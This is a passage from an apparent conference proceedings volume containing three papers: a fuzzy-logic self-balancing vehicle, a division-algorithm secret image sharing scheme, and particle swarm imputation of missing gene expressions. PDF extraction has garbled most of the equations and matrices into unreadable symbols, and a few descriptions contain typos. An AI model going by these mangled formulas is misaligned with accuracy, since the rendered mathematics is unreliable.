
22 × 18 cm.
• Motors: Two motors are used for two wheels; left and right. The motor
specification is 12 V and 200 rpm.
• Wheels: Two wheels of diameter 5 cm each are used.
(ii) Electrical and Sensor components:
• Accelerometer: ADXL335 accelerometer is used. It is an inertial sensor. It

can measure acceleration in one, two, or three orthogonal axes.
• Potentiometer: One 5 K pot is used, which is operated at 5 V
• Microcontroller: Arduino UNO R3 controller is chosen. Arduino is an
open source electronics platform based on easy to use hardware and
software. It is based upon ATmega 328 microcontroller.
• Motor Driver: L293D IC is used for driving the motor. Operating voltage
range is from 5 to 36 V and maximum current output is 600 mA per motor.
• Power Supply: 12 V/2 A power supply was used for the entire system. And
the distributive circuit was used to provide individual power supply to each
component. The range of voltage rating needed was 5–12 V.
3 Modeling
The modeling will help understand the vehicle dynamic nature so as to control it
more accurately. The mathematical modeling of the vehicle is studied and surveyed
from [1, 2, 7, 8]. The concepts from the references are combined in this paper, to
obtain the smooth control of the vehicle. The purpose of modeling is for proper
controlling of the vehicle. Before the formulation of mathematical equations, some
assumptions are taken under consideration.
• There is only point contact between wheel and ground.
• There is no relative motion between platform and the feet of person, that is,
platform and feet are always in contact.
• There is no slipping between two wheels and ground; only rotational motion is
possible.
Free body diagram of the both wheel and platform is considered for derivation of
mathematical equation which is referred from [7]. The main objective of the vehicle
is to balance itself that is there should not be any motion for vehicle when no force
is applied to vehicle. Now free body diagram equations are in non-linear form
which has to be made linear for getting the appropriate result. This is done by
linearizing the equations around the operating point (XRM = 0, θp = 0 and δ = 0).
Also considering the vehicle parameter and neglecting the other friction force, the
resultant state space equations obtained are as follows:
2_ 3
XRM
2 32 3 2 3
6_ 7 0 1 0 0 0 0 XRM 0 0
6 VRM 7
6 7 6 07 6 7 6 B22 7
6 h_ 7 6 0 0 A23 0 0 76 VRM 7 6 B21 7
6 p7 60 07 6 7 6 0 7
6 7 6 0 0 1 0 7 6 hp 7 þ 6 0 7 CL
6 x_ p 7 ¼ 6 0 0 A43 0 0 7
0 76 xp 7
6 6 B42 7
ð1Þ
6 7 6 7 6 B41 7 CR
6 _ 7 40 0 0 0 0 1 5 4 d 5 4 0 0 5
6 d7
4
)
5 0 0 0 0 0 0 d_ B61 B62
d
2 3
XRM
2 36 VRM 7
1 0 0 0 0 0 66
7
7
hP 7þ 0 U
Y ¼ 40 0 1 0 0 0 56
6 7 ð2Þ
xP 0
0 0 0 0 1 0 64
7
5
d
d_
The terms A23, A43, B21, B21, B22, B41, B42, B61, and B62 present in the above
equation are function of vehicle’s parameters. The above equation is final state
space equation of the vehicle. Controlling of the system is divided into two
subsystems:
1. Controlling forward and backward motion of vehicle:
2 3 2 32 3 2 3
X_ RM 0 1 0 0 XRM 0
6 V_ RM 7 6 0 0 A23 07 6 VRM 7 6 B21 7
6 7 6 76 7þ6 7
4 h_ P 5 ¼ 4 0 0 0 1 4
5 hP 5 4 0 5 ð3Þ
x_ P 0 0 A43 0 xP B41
2. Controlling Yaw motion (Left or right):
":#
d: 0 1 d: 0
:: ¼ þ ½ Ch ð4Þ
d 0 0 d B61
The (1), (3), and (4) have been referred from [2]. From above equation, we can
get the state space equation of vehicle of any dimension and it can be simulated in
MATLAB. For the prototype made, the values are as follows:
MP = 100 g, MR = 150 gm, L = 15 cm, D = 20 cm, R = 3.5 cm,
X = 0.0154, Y = 15.46, A23 = −2.927, A43 = 63.636,
B2 = 134.11, B4 = −1003.896, B6 = 591.133.
The meaning of each parameter is given in Table 1.
Table 1 Various symbols used

θP Angle describing pitch movement
CL, CR Torque applied to control left and right wheel
Өd Disturbance angle due to controlling action
δ Rotation angle in vertical axis (Yaw)
R Radius of wheel
Mp Mass of platform
D Lateral distance between contact patches of the wheel
L Distance between z axis and the CG of the platform
XRM Linear position of the chassis
VRM Linear speed of the chassis
4 Control Strategy
After the mathematical modeling of the vehicle, next step is to formulate control
strategy for balancing the vehicle. Already in past, many strategies have been used
like PID controller, Fuzzy logic, Neural Network, State feedback controller, and
many more. In the current work, Fuzzy-based control strategy is chosen as in [2] as
it is one of the better control strategies and can give accurate results with proper
tuning. The output from the fuzzy logic controller will be produced in a very less
elapsed time.
In this application, the fuzzy-based controller will have two input values. One
input will be from the accelerometer which gives the orientation of vehicle and
second input is the reading of potentiometer which is used for the steering purpose.
From these two input values, the fuzzy controller has to generate logic to control
both wheels for getting required movement of the vehicle. A fuzzy logic controller
uses fuzzy logic to determine the actions to be taken. The procedure involved in
generation of the fuzzy logic is as follows:
1. Input scaling and shifting,
2. Fuzzification,
3. Fuzzy inference, and
4. Defuzzification.
In input scaling and shifting step, the inputs are in crisp domain which then
processed and scaled. Then in fuzzification, the inputs whose values are crisp in
nature are converted into fuzzy domain. In fuzzy inference, a proper control action
is determined, that is the output value for the given input value is obtained with the
help of rule table. At last, the fuzzy-based linguistic term is converted to deter-
ministic output in the defuzzification step. MATLAB is used for formulating the
fuzzy controller.
In MATLAB, there is a fuzzy tool box which is used to formulate fuzzy rule
table. Here the fuzzy logic controller has two inputs and two outputs. From the
input, we get the value of the vehicle orientation; based on that output value is
generated which is used to control the left and right wheel. The control in left and
right wheel is done by using PWM pulse.
Inputs that used to calculate the vehicle’s orientation and steering are fwd-bkd
and left-right, respectively. Outputs are left_pwm and right_pwm. Membership
functions that are used for fwd-bkd are stop, slow, medium, and fast. These all
membership functions are of trapezoidal shape. Membership functions that are used
for left-right are steady, soft-left, hard-left, soft-right, and hard-right. These all
membership functions are also of trapezoidal shape. Output membership functions
used here are stop, slow, medium, and fast. With each membership function has
weights of 0, 60, 150, and 255. Fuzzy inference system used here is Sugeno method
[9] which is based on weighted average method. The detail of fuzzy controller
implementation in fuzzy tool box is given in Figs. 2, 3 and 4.
Fig. 2 Fuzzy controller in fuzzy tool box
Fig. 3 Input membership function for accelerometer and steering
Fig. 4 Output membership

function
Membership Function details:

Stop: Vehicle should be stopped, fast: Vehicle should have maximum speed,
Slow: Vehicle should have slow speed, medium: Vehicle should have medium
speed,
Hard_left: Have sharp left turn, Soft_left: Have soft-left turn,
steady: Vehicle going straight, hard_right: Have sharp left turn,
soft_right: Have soft-left turn
Membership Function details:
Stop: Motor pwm value is 0, Slow: Motor pwm value is 60,
Medium: Motor pwm is 150, Fast: Motor pwm is 255 (maximum).
There are two inputs, one with 4 membership functions and another with 5
membership functions; so considering all the possible combinations, the fuzzy
rule base table comprises of 20 rules. Based on each combination corresponding

output membership function has been mapped. The rules taken are as follows:-
1. If input is Slow and steady then output should be Slow for both wheels.
2. If input is medium and hard_right then output should be Stop for right wheel
and medium for left wheel.
Similarly the rest of rule table is formed.
5 Result Analysis
5.1 Software Results
The fuzzy logic formulated for the vehicle is tested on the basis of fuzzy rule base
table. The logic was tested in fuzzy tool box which was available in MATLAB. For
various combinations of input values, output value is noted. The obtained results
are found to be accurate. For testing purpose, the input value was given as fwd-
bkd = 30 and left-right = 350, that means vehicle has to go in slow speed in straight
direction (according to rule base) and the obtained output is pwm-left = 150 & pwm-
right = 150, which is the required output. Similarly for every possible input
combinations, output is checked and the controller is tuned according to it for
getting better result.
5.2 Hardware Implementation Result
After formulating the fuzzy logic and simulating it, the next phase is to build a
prototype. The prototype is built as shown in Fig. 5. Upon developing the proto-
type, the next step is to dump the fuzzy logic concept inside the Arduino board.
After dumping the fuzzy logic code, the prototype was again tested. After proper
Fig. 5 Prototype of two-wheeled self-balancing vehicle
tuning of fuzzy logic code, balancing of vehicle was improved. The proper working
of the prototype implied that the formulated fuzzy logic is correct and the vehicle
can be balance with the help of accelerometer. The hardware prototype is shown in
below figure.
6 Conclusion and Future Scope
This paper proposes the working and implementation of two-wheeled self balancing
vehicle based on fuzzy logic control. Knowledge of inverted pendulum concept is
essential for proper mathematical modeling of the vehicle, which is dealt initially.
For accurate and fast controlling of the vehicle, a fuzzy logic controller was chosen.
Fuzzy logic is implemented successfully in MATLAB tool box and desired outputs
were obtained. A miniature prototype of the vehicle is build with the fuzzy logic
embedded on it. The working and performance of the prototype was tested with the
developed control strategy and acceptable results were obtained. Still there are
possibilities of more effective control and error reduction in the current scheme. For
secured access of the vehicle, finger print sensor can be attached, which may be the
directions of future work.
References
1. Mohtasib, A.M., Shawar, M.H.: Self-balancing two wheel electric vehicle. In: 9th International
Symposium on Mechatronics and Its Applications (ISMA13), Amman, Jordan, 9–11 April 2013
2. Wu, J., Zhang, W.: Design of fuzzy logic controller for two wheeled self balancing robot. In:
6th International Forum on Strategic Technology (2011)
3. Lin, S.-C., Tsai, C.-C., Huang, H.-C.: Nonlinear adaptive sliding-mode control design for
two-wheeled human transportation vehicle. In: Proceedings of the 2009 IEEE International
Conference on Systems, Man and Cybernetics, San Antonio, TX, USA, October 2009
4. Juang, H.-S., Lum, K.-Y.: Design and control of a two-wheel self-balancing robot using the
Arduino microcontroller board. In: 10th IEEE International Conference on control and
Automation(ICCA), Hangzhou, China, 12–14 June, 2013
5. An, W., Li, Y.: Simulation and control of a two wheeled self-balancing robot. In: IEEE
International Conference on Robotics and Biomimetics (ROBIO) Shenzhen, China, December
2013
6. Chuang, J.-K., Lu, P.-Y., Leu, Y.-G., Lin, Y.-S.: Bacterial-based control of two wheeled
vehicles. In: 11th IEEE International Conference on Control & Automation (ICCA), Taichung,
Taiwan, 18–20 June, 2014
7. Grasser, F., Colombi, S., Rufer, A.C.: JOE : A mobile, inverted pendulum. IEEE Trans. Ind.
Electron. 49(1) (2002)
8. Tsai, C.-C., Huang, H.-C., Lin, S.-C.: Adaptive neural network control of a self balancing two
wheeled scooter. IEEE Trans. Ind. Electron. 57(4) (2010)
9. Cai, Z., Su, C.-Y.: Output tracking control of Takagi-Sugeno fuzzy systems with application to
an underactuated robots. In: Proceedings of the 2002 IEEE International Conference on Fuzzy
Systems, FUZZ-IEEE’02 (2002)
A Time Efficient Secret Image Sharing
Scheme for Group Authentication System
Without Pixel Expansions
Samarpita Biswas, Nicole Belinda Dillen, Dipak Kumar Kole

and Aruna Chakraborty
Abstract Information security is of vital importance in today’s internet world.

Classified data such as military and government information are constantly trans-
mitted over the internet. Among this, top secret data are images such as maps and
surveillance footage. It is thus necessary to secure such visual data against unau-
thorized access. Visual secret sharing is the process of distributing “shares” of a
secret image among a group of individuals. Only when all the shares have been
combined, can the original secret image be obtained. In this paper, we have pro-
posed a visual secret sharing scheme, using a simple division algorithm, for group
authentication systems. This method has the advantage of being both time efficient
and devoid of any pixel expansion. It can be applied to both grayscale as well as
colour images and, as illustrated further ahead, ensures complete secrecy and
regeneration of the original image from all the shares.
Keywords Visual cryptography Secret share scheme Division algorithm

Group authentication
S. Biswas (&) N.B. Dillen A. Chakraborty

St. Thomas’ College of Engineering and Technology, 4, Diamond Harbour Road,
Kolkata 700023, India
e-mail: samarpita22@gmail.com
N.B. Dillen
e-mail: nicolebdillen@gmail.com
A. Chakraborty
e-mail: aruna.chakraborty@stcet.ac.in
D.K. Kole
Jalpaiguri Government Engineering College, Jalpaiguri 735102, West Bengal, India
e-mail: dipak.kole@gmail.com

56 S. Biswas et al.
1 Introduction
In visual secret sharing schemes, the secret image is split into n meaningless share
images. The original image is obtained by superimposing all these shares, so that
the human visual system can recognize the secret image without using any complex
computational devices. Obviously, the image cannot be obtained in the absence of
any share. Pioneer work in this field was done by Naor and Shamir [1], who
suggested a cryptographic scheme in which an image was encrypted into n shares in
such a way that decryption could be performed by the human visual system directly.
The (k, n) threshold technique ensured that, when any k (k ≤ n) shares are stacked
over each other, the original image could be recovered although the same would not
be true for any (k − 1) shares.
Adhikari and Bose [2] constructed a visual cryptographic scheme using Latin
squares, while Zhou et al. [3] proposed the concept of halftone visual cryptography
based on blue-noise dithering principles. Another efficient halftone visual secret
sharing scheme was proposed by Arya et al. [4]. Liu et al. [5] proposed the step
construction visual cryptography scheme based on optimal pixel expansion. Liu and
Wu [6] also proposed a visual cryptographic scheme in which random shares were
embedded into meaningful covering shares. Wang and Hsu [7] devised a method in
which an additional tag was used in the shares. This extra tag was revealed by
folding each share, which provided information about the secret patterns in the
images.
Concepts like Rotation Visual Cryptography [8] used the basic (2, 2) scheme
where the shares can be stacked on each other at different angles to reveal different
images. Lin and Chung [9] suggested a method where the number of shares could
be changed dynamically to include new shares without disturbing the original
shares. A technique to prevent cheating was suggested by Hu and Tzeng [10],
where one visual cryptography scheme could be converted into another with
minimum overhead. Das et al. [11] used the concept of particle swarm optimization
algorithm to generate the shares iteratively.
Of course, visual cryptography is not limited to binary and grey-level images. It
can be extended to incorporate colour images as well. Hou and Quan [12], proposed
progressive (k, n) visual cryptographic schemes with unexpanded shares, where the
image could be obtained if and only if k shares were stacked over each other. Here,
the probability of a white pixel being stacked over a black one is 1/n, and that of a
black pixel being stacked over a white one is k/n. When all the shares are stacked on
each other, an image of high contrast as (n − 1)/n can be achieved. The same
authors proposed a technique dealing with colour images which used half-toning
and colour decomposition [13]. Wu et al. [14] proposed the scheme where pixel
expansion was not included and the same scheme was extended to colour images.
Colour VCS can also be performed by the use of symmetric keys [15], proposed by
B. SaiChandana and S. Anuradha. Wang et al. [16] formulated a secret sharing
method using simple Boolean operations. They also proposed a secret sharing
scheme for colour images based on the XOR operation [17].
A Time Efficient Secret Image Sharing Scheme … 57
Group communication networks, such as ad hoc networks, are established by

multiple users for exchanging secret information. Hence, it is of utmost importance
that each user is verified in order to ensure the security of the secret or classified
information. To achieve this end, several authentication schemes have been
implemented for verifying users in a group communication network. The group
authentication system was one such scheme proposed by Harn and Lin [18], Harn
[19], and deals with the authentication of multiple users simultaneously as opposed
to a one-to-one authentication protocol.
In this paper, a secret sharing scheme is proposed for group authentication
systems based on the division method [20], which does not involve any pixel
expansion of the image. This method ensures complete recovery of the original
image from all the shares, thereby providing complete security and secrecy with
respect to the original image.
The paper is organized as follows: In Sect. 2, preliminaries dealing with basic
digital image concepts and the division method are discussed. In Sect. 3, the pro-
posed method, along with its algorithm, is explained. The experimental results
obtained are described in Sect. 4. Finally, the conclusion is listed in Sect. 5.
2 Preliminaries
2.1 Image
Digital images are of three different types, namely, binary, grayscale and colour
images. Binary images are the simplest of all images. They consist of only two
intensity values, black and white, which are represented using 0 and 1, respectively.
In grayscale images of type unsigned integer, each pixel is represented by a single
intensity value, or grey level. If the pixels are represented using 8 bits, then the
intensity values will lie between 0 and 255. It must be noted that grayscale images
are two-dimensional arrays, or matrices. Colour images are simply an extension of
grayscale images. They consist of three grayscale components, each representing
the red, green and blue colour components of the image. Colour images are hence
three-dimensional arrays where the red, green and blue grayscale components must
be stacked on top of each other in that very order.
This paper deals with both grayscale as well as colour images. In fact, the
methods applied to grayscale images are easily extended to the third dimension in
order to incorporate colour images.
58 S. Biswas et al.
2.2 Input Image
The input images for this experiment consist of both grayscale and colour images.
The image is divided into a number of shares. For a colour image, we consider each
of its components, i.e., the red, green and blue grayscale components, separately.
Hence, the following procedures will be applied to each component separately.
Let a particular grayscale image be represented by the matrix K of order
R × C. The
matrix K is defined below:
K ¼ kij RxC where
i = 1, 2, 3… R and j = 1, 2, 3… C.
The value of each kij represents the intensity value of different pixels in a
grayscale image and each kij lies between 0 and 255. For a colour image, instead of
a single matrix K there would be three separate matrices Kr, Kg and Kb representing
the red, green and blue planes of the image, respectively.
2.3 Outputs
The outputs consist of the secret shares K1 ; K2 ; K3 . . .Kn1 and Kn . Each secret share
is also a matrix of order R × C and its pixel intensity values vary from 0 to 255.
2.4 Division Algorithm
If there is any integer ‘a’ and a positive integer ‘d’ then there exists two unique
integers ‘q’ (the quotient) and ‘r’ (the remainder) where 0 ≤ r < d such that
a¼dqþr ð1Þ
where q ¼ a=d; r ¼ a%d.
3 Proposed Method
Most of the secret sharing schemes use the concept of ‘pixel expansion’ which
involves breaking a pixel into a number of sub pixels that constitute the shared
images. This not only increases the storage space required as the size of the images
grows, but also leads to a loss of clarity in the retrieved image as the sub pixels
contain redundant data.
In our proposed method, the original grayscale image is divided into n shares
K1 ; K2 ; K3 . . .Kn1 and Kn . The first (n − 1) shares are generated randomly and the
nth share, i.e., the last share, is generated from the original image using a simple
division algorithm. Finally, the shares are combined to retrieve the information
pertaining to the original image.
Algorithm:
Step 1: Read the input image K and generate K1 ; K2 ; K3 . . .Kn1 randomly
Step 2: Compute Kn by the division method (1):
Kn ¼ 256 q þ K ðK1 þ K2 þ K3 þ . . . þ Kn1 Þ: ð2Þ
Here, q is chosen so that 0 Knij 255, where i and j denote the pixel
row and column, respectively.
Step 3: Finally, recombine all the shares to get back image K:
K ¼ ðK1 þ K2 þ K3 þ . . . þ Kn1 þ Kn Þ%256: ð3Þ
This algorithm is easily extended to the RGB domain of colour images by

simply applying the algorithm on each red, green and blue plane of the image.
Example Suppose the original grayscale image is represented by the matrix K. K is
defined as follows:
2 3
240 231 230 236
6 233 244 255 240 7
K¼6
4 123
7
234 134 135 5
222 255 240 243
The image K is divided into three different shares: K1 ; K2 and K3 . According to

our algorithm, K1 and K2 are generated randomly and are represented below:
2 3
90 230 136 187
6 164 44 243 60 7
K1 ¼ 6
4 36
7
191 239 22 5
238 44 187 177
2 3
130 66 205 15
6 150 222 95 80 7
K2 ¼ 6
4 97
7
215 209 161 5
117 203 104 195
The division method (2) is now used to generate the last share K3:
K3 ¼ ð256 qÞ þ K ðK1 þ K2 Þ
60 S. Biswas et al.
2 3
20 191 145 34
6 175 234 173 100 7
K3 ¼ 6
4 246
7
84 198 208 5
123 8 205 127
Finally, the generated shares K1 ; K2 and K3 are combined to reconstruct the

original image K by the following division Eq. (3):
K 0 ¼ ðK1 þ K2 þ K3 Þ%256
2 3
240 231 230 236
6 233 244 255 240 7
K0 ¼ 64 123 234 134 135 5
7
222 255 240 243
K′ = K. Thus, we regain the original grayscale image.
We have tested our secret sharing scheme on various grayscales as well as colour
images. The splitting as well as the recombination of the images was implemented
in MATLAB 7.0.4 using a 2.30 GHz dual-core CPU with 2.00 GB RAM.
We conducted our experiment on ten benchmark images of various sizes.
However, due to constraints on the number of pages, we have demonstrated only
four images in this section. Here, we have considered two grayscale images, “Lena.
bmp” and “Mri.jpg”, and two RGB images, “Peppers.bmp” and “Monalisa.bmp”.
In all cases, the first and second shares were generated randomly and the last was
generated from the original image according to the proposed algorithm. Finally, all
shares were recombined to generate an image identical to the original image. The
details of the images are given in Table 1 below.
Table 1 Details of benchmark images used in the experiment

Serial Benchmark image Image details Execution time (approx.)
no. name (s)
1. Lena.bmp (Fig. 1) Size: 512 × 512 pixels 0.05
Type: Grayscale
2. Mri.jpg (Fig. 2) Size: 500 × 383 pixels 0.04
Type: Grayscale
3. Peppers.bmp (Fig. 3) Size: 512 × 512 × 3 0.13
pixels
Type: Colour
4. Monalisa.bmp (Fig. 4) Size: 452 × 558 × 3 0.13
pixels
Type: Colour
Fig. 1 a The original grayscale image. b The first share. c The second share. d The third share.
e The reconstructed original image
Fig. 2 a The original grayscale image. b The first share. c The second share. d The third share.
e The reconstructed original image
Fig. 3 a The original colour image. b The first share. c The second share. d The third share. e The
reconstructed original image
62 S. Biswas et al.
Fig. 4 a The original colour image. b The first share. c The second share. d The third share. e The
reconstructed original image
5 Conclusion
This paper presents an efficient secret image sharing scheme for group authenti-
cation systems for both grayscale as well as colour images.
Firstly, the original image will not be revealed in the absence of any single share
—hence we have optimum secrecy. Secondly, the retrieved image and the original
image are identical, thereby ensuring zero data loss. Thirdly, no pixel expansion is
performed thus reducing the storage requirements. Finally, the algorithm proposed
is relatively simple and straightforward as compared to various other techniques
proposed.
References
1. Naor, M., Shamir, A.: Visual cryptography. In: Advances in Cryptology—EUROCRYPT ’94.
Lecture Notes in Computer Science, vol. 950, pp. 1–12. Springer, Berlin (1994)
2. Adhikari, A., Bose, M.: A new visual cryptographic scheme using Latin squares. IEICE Trans.
Fundam. E87-A, 1998–2002 (2004)
3. Zhou, Z., Arce, G.R., Crescenzo, G.D.: Halftone visual cryptography. IEEE Trans. Image
Process. 15(8), 2441–2453 (2006)
4. Arya, K.V., Rishiwal, V., Yadav, A.K.: An efficient halftone visual secret sharing
scheme. 2014 9th International Conference on Industrial and Information Systems (ICIIS),
pp. 1, 5, 15–17 Dec 2014
5. Liu, F., Wu, C., Lin, X.: Step construction of visual cryptography schemes. IEEE Trans. Inf.
Forensics Secur. 5(1), 27–38 (2010)
6. Liu, F, Wu, C.: Embedded extended visual cryptography schemes. IEEE Trans. Inf. Forensics
Secur. 6(2), 307–322 (2011)
7. Wang, R.-Z., Hsu, S.-F.: Tagged visual cryptography. IEEE Sig. Process. Lett. 18(11), 627–
630 (2011)
8. Reddy, B.D., Kumari, V.V., Raju, K.V.S.V.N, Raju, Y.H.P.: Visual cryptography using basic
(2, 2) scheme. TECHNIA—Int. J. Comput. Sci. Commun. Technol. 3(2), 594–597 (2011).
ISSN 0974-3375
9. Lin, S.-J., Ho, W.: A probabilistic model of (t, n) visual cryptography scheme with dynamic
group. IEEE Trans. Inf. Forensics Secur. 7(1), 197–207 (2012)
10. Hu, C.-M., Tzeng, W.-G.: Cheating prevention in visual cryptography. Trans. Image Process.
16(1), 36–45 (2007)
11. Das, S.S., Das Sharma, K., Bera, J.N.: A simple visual secret sharing scheme employing
particle swarm optimization. 2014 International Conference on Control, Instrumentation,
Energy and Communication (CIEC), pp. 646, 649, 31 Jan 2014–2 Feb 2014
12. Hou, Y.-C., Quan, Z.-Y.: Progressive visual cryptography with unexpanded shares.
Transactions letters. IEEE Trans. Circuits Syst. Video Technol. 21(11), 1760–1764 (2011)
13. Hou, Y.-C.: Visual Cryptography for Color Images. Department of Information Management,
National Central University, Jung Li, Taiwan 320, ROC Received 6 June 2002, accepted 26
August 2002
14. Wu, X., Wong, D.S., Li, Q.: Threshold visual cryptography scheme for color images with no
pixel expansion. In: Proceedings of the Second Symposium International Computer Science
and Computational Technology(ISCSCT ’09), pp. 310–315. P. R. China, Huangshan, 26-28
Dec 2009. ISBN 978-952-5726-07-7 (Print), 978-952-5726-08-4 (CD-ROM)
15. Sai Chandana, B., Anuradha, S.: A new visual cryptography scheme for color images. Int.
J. Eng. Sci. Technol. 2(6), 2398–2407 (2010)
16. Wang, D., Zhang, L., Ma, N., Li, X.: Two secret sharing schemes based on Boolean
operations. Elsevier Pattern Recognit. 40, 2776–2785 (2007)
17. Wang, D.-S., Zhang, L., Ma, N., Huang, L.-S.: Secret color images sharing schemes based on
XOR. Cryptology ePrint Archive: Report 2005/372
18. Harn, L., Lin, C.: An efficient group authentication for group communications. Int. J. Netw.
Secur. Appl. (IJNSA) 5(3), 13–24 (2013)
19. Harn, L.: Group authentication. IEEE Trans. Comput. 62(9), 1893–1898 (2013)
20. Rosen, K.H.: Discrete Mathematics and Its Applications with Combinatorics and Graph
Theory, 7th edn. McGraw Hill Education (India) Private Limited, 2008
Imputation of Missing Gene Expressions
for DNA Microarray Using Particle
Swarm Optimization
Chanda Panse, Manali Kshirsagar, Dhananjay Raje and Dipak Wajgi
Abstract While capturing gene expressions using microarray technique missing

values get generated in the data set. These missing values create negative impact on
downstream analysis of DNA microarray. Therefore, it is necessary to estimate
them before starting further analysis. Many algorithms are proposed for imputation
of missing values which are based on statistical methods. They require complete
gene expression data set which is created by replacing missing values by different
methods like row averaging or column averaging and later missing expressions are
imputed. This may affect efficiency of algorithms. In order to deal with problem of
missing values, we have proposed new method based on Swarm Intelligence which
is easy to implement and apply to any kind of dataset irrespective of amount of
missing values in it. This method imputes missing gene expressions in microarray
data set using Particle Swarm Optimization.
Keywords Microarray
Swarm intelligence Particle swarm optimization

(PSO) Imputation Row averaging etc.
C. Panse (&) M. Kshirsagar

Department of Computer Technology, Yeshwantrao Chavan College
of Engineering, Nagpur, India
e-mail: chandapanse@gmail.com
M. Kshirsagar
e-mail: manali_kshirsagar@yahoo.com
D. Raje
MDS Bio-Analytics Pvt. Ltd, Bajaj Nagar, Nagpur, India
e-mail: dv.raje@mdsbio.in
D. Wajgi
Department of Computer Science and Engineering, St. Vincent Palloti
College of Engineering, Nagpur, India
e-mail: wajgi@rediffmail.com

66 C. Panse et al.
1 Introduction
Data generated by the high throughput technology of Microarray is useful in many

applications like identification of most significant genes, clustering [1], recognition
of significant patterns in gene expressions, modeling of Gene Regulatory Network
(GRN) [2], drug designing, classification [3], etc. But microarray creates predom-
inant problem of generating missing values in gene expression data set. Values of
gene expressions are missed during experimentation because of reasons like
insufficient resolution, dust or scratches on slides or because of poor quality of
image. The data set consists of matrix of n by m dimension containing n rows
considered as genes and m columns considered as time series or experimental
conditions. Before downstream analysis of DNA microarray data set, missing
values are estimated from existing gene expressions. For estimating missing values
three solutions exist: repeating the experiment which is quite costly, second is
neglecting rows with missing value which will lose significant percentage of data
[4] and third is to impute missing values which is pretty feasible. We are going to
deal with third option by inventing new method based on PSO.
There are many statistical methods [5–8] exist for imputation of missing values.
Paper [9] has given overview of imputation techniques which are categorized into
three approaches: prediction rule, Maximum Likelihood, and Least squares
approximations. Methods based on prediction rule include Mean imputation,
Hot/Cold Deck imputation [10], regression imputation, tree based imputation, and
neural network imputation. Maximum Likelihood approach includes model-based
techniques like Gaussian model-based imputation and imputation based on Markov
Chain Monte-Carlo. Very few of these methods like regression and mean impu-
tation are used for imputation of DNA microarray data. Author Guy N Brock in [11]
conducted analysis of eight different algorithms on 9 different data sets for different
values of neighbors k (varying from 5, 10, 15, 25, 100, 200) and suggested
guidelines regarding which imputation method to used.
Basic prerequisite of these methods is that they require complete gene expression
data set without missing values. This is accomplished by temporarily replacing
missing values by row averaging and then actual missing value is estimated.
Here in this paper we have implemented imputation method based on PSO, a
type of evolutionary algorithm which is first time contributing in this domain.
Evolutionary algorithms are dynamic search methods which mimic the biological
evolution or social behavior of natural species. Particle swarm optimization is based
on social behavior of swarms like flock of birds or fish school. PSO is based on
message communication methodology used by swarms for searching target.
We have also compared our method with KNN and row averaging which are
considered to be the most genuine and sophisticated methods. The paper is
exhibited in such a way that Sect. 2 discusses proposed method based on PSO,
Sect. 2.2 deals with brief explanation of KNN and row average methods; Sect. 2.4
is doing comparative analysis of all three methods and paper ends with conclusion
in the last section.
Imputation of Missing Gene Expressions for DNA Microarray … 67
1.1 System and Method
We have implemented and evaluated three methods: methods based on PSO [12],
K Nearest Neighbor (KNN) and row average.
Before actual discussion of proposed method, we will see brief overview of
some most popular existing methods like Singular Value Decomposition SVD [6]
and Bayesian Principal Component Analysis BPCA [5] and Local Least
Square LLS [7] used for imputation of missing gene expressions.
1.2 Singular Value Decomposition
In this method, initially missing values are filled with any of the techniques like row
averaging. Once complete gene data set is generated it is decomposed into three
matrices as follows [6]:
Gmn ¼ Umm Rmn Vnn

T
U, S and VT where U is m by m an orthogonal matrix, R is m by n diagonal

matrix and VT is another n by n orthogonal matrix containing Eigen values. m is
number of genes and n is number of columns and m n. By combining these
statistically independent matrices containing gene expressions using multiple
regression, approximate value of missing gene expressions is calculated in data set
which will replace temporary filled missing values. Only most significant genes are
used for estimation of missing values using regression instead of all.
1.3 Bayesian Principal Component Analysis (BPCA)
This method is mostly used in the field of image processing. In this method, gene
expressions matrix y is represented as linear combination of principal axis vectors
ωl (1 l kÞ [5] such that
X
K
y¼ xl x l þ 2 :
l¼1
After calculating factor scores xl and residual error 2, missing value is imputed.
68 C. Panse et al.
1.4 Local Least Squares (LLS)
This method uses linear correlation between target genes and its K nearest neigh-
bors to impute missing values. Initially for every genes y having p missing values
following matrix is generated using k nearest neighbors [13].

a wT
B A
where a is a vector of missing entries of gene y which are temporarily filled with
row averaging methods, wT is vector of non-missing entries of gene y and B and
A are same entries for k neighbors of gene y. a a vector of missing entries is
calculated from linear coefficient vector X which is calculated as follows:
y
X ¼ AT w
y
where ðAT Þ is pseudoinverse of AT.
Taking into account disadvantage of LLS of generating complete data set by
filling missing values by false row average values, fuxi Shi [7] implemented hybrid
method which is combination of LLS and BPCA. It was found that most of the rows
contain missing values. Replacing these missing values by row average does not
reflect real structure of data set. This might create problem in identifying k nearest
neighbors. Because of this, in hybrid method, they have calculated initial missing
values by BPCA and then LLS is applied for actual imputation.
2.1 Particle Swarm Optimization-Based Imputation
So far there is no such imputation method which is based on Swarm Intelligence

approach. PSO-based imputation method is simple and easy to implement. It has
been observed that single gene might have many missing values under different
experimental conditions. If row averaging technique is used then all missing value
in one row will be replaced by same unique value. This will create negative impact
on further analysis. Also there is no need of complete gene data set for this method.
It uses objective function which is to be minimized. Objective function is based on
difference in average of gene expressions. For implementation we have used
GPL570_GSE57194 leukemia gene dataset downloaded from GEO website. It
consists of gene expression matrix of size 7201 by 30. For implementation purpose
one random value is selected from each row whose expression is deleted. We have
randomly deleted values equals to 10 % of total rows. These random values are then
imputed using PSO. Value is selected in such a way that it will minimize value of
fitness function. Pseudo-code for algorithm is as follows.
1. Array missing_row[] contains index of rows having

missing values
2. for each row of missing value
3. initialize population of particles with random
positions and velocities,
4. initialize bestGlobalPosition:0, bestGlobalFitness to
realMax
5. while(iterations) do
6. for each particle find fitness for randomPositions of
particles
7. initialize particles in the swarm to estimated
positions, velocity, bestPosition,
bestFitness
8. find bestGlobalFitness and bestGlobalPosition from all
the particles.
9. end for
10. for each particle find updated velocity and position
11. if (newPosition < minX) then set newPosition to minX
12. else if(newPosition > maxX) then set newPosition to
maxX
13. end if
14. estimate newFitness for newPositions
15. if (newFitness< currBestFitness)
16. initialize currBestPostion to newPosition &
currBestFitness to newFitness
17. end if
18. if(newFitness < bestGlobalFitness)
19. initialize bestGlobalPosition to newPosition and
bestGlobalFitness to newFitness
20. end if
21. initialize rth row of missing_row[] with
bestGlobalPosition
22. end for
23. end while
minX and maxX are the minimum and maximum gene expressions in chosen row.
Number of particles we have considered is 10. Missing expression in each randomly
generated row is calculated using minimization of objective function. It is defined as
